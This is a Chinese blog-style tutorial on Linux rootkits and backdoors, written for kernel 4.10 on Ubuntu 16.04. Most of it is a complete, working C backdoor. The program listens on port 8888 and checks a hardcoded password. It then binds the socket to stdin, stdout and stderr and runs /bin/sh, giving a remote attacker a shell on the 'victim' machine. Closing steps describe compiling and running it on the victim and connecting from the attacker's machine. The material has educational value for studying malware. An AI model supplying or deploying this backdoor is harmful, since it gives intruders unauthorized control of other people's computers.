前言
最近学习到rootkit,由于之前没怎么接触到Linux内核,系统调用具体实现这些稍底层的东西,并且参考的许多代码都是基于内核2.6的又不想重装低版本系统,所以踩了很多坑浪费了很多时间,查了许多资料,掉了许多头发,现稍整理希望能给后面采坑的人提供一点思路。
环境:
Ubuntu 16.04
linux内核版本 4.10.0-37
代码在这里
积分多的可以下载一下,没积分的后面也有完整代码
注:这里的makefile要注意一下
打开是这样的,划红线的地方留下你要编译的,另一个注掉
backdoor
backdoor,说是后门程序,个人感觉后门程序的范围很大,偷偷装在别人电脑里面试图达到某些社(不)会(可)和(告)谐(人)目的的都是后门程序,只是功能不一样,地点不一样,有的在用户态有的在内核之类的,比如Rootkit,装在内核里面,隐藏文件、进程和网络链接之类的信息。
下面用socket写一个简单的backdoor,功能是打开受害者电脑特定端口,接收到攻击者的连接请求成功后打开一个bash,从而攻击者可以操纵受害者电脑做任何不可描述的事情。
思路是这样的:
打开端口进行监听–>接收到连接请求后发现是攻击者–>打开一个bash并将标准输入输出绑定到socket
代码是这样的:
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
int i, listenfd, goshyoujinnsama;
pid_t pid;
int len = 128;
int port=8888;
char buf[len];
socklen_t len2;
struct sockaddr_in s_addr;
struct sockaddr_in c_addr;
char enterpass[32]="Stop! who are you ?";
char welcome[32]="Welcome,master!";
char password[5]="11111";
char sorry[32]="heheda !";
listenfd = socket(AF_INET,SOCK_STREAM,0);
if (listenfd == -1){
exit(1);
}
bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET;
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(port);
if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){
exit(1);
}
if (listen(listenfd, 20)==-1){
exit(1);
}
len2 = sizeof(c_addr);
while(1){
goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
if((pid = fork()) > 0)
{
exit(0);
}else if(!pid){
close(listenfd);
write(goshyoujinnsama, enterpass, strlen(enterpass));
memset(buf,'\0', len);
read(goshyoujinnsama, buf, len);
if (strncmp(buf,password,5) !=0){
write(goshyoujinnsama, sorry, strlen(sorry));
close(goshyoujinnsama);
exit(0);
}else{
write(goshyoujinnsama, welcome, strlen(welcome));
dup2(goshyoujinnsama,0);
dup2(goshyoujinnsama,1);
dup2(goshyoujinnsama,2);
execl("/bin/sh", "toSyojinn", (char *) 0);
}
}
}
close(goshyoujinnsama);
}
过程是这样的:
1.受害者电脑上编译backdoor
2.编译好了跑一下
3.攻击者电脑上发送连接请求
4.连接成功,ls试一下能不能看到受害者电脑上目录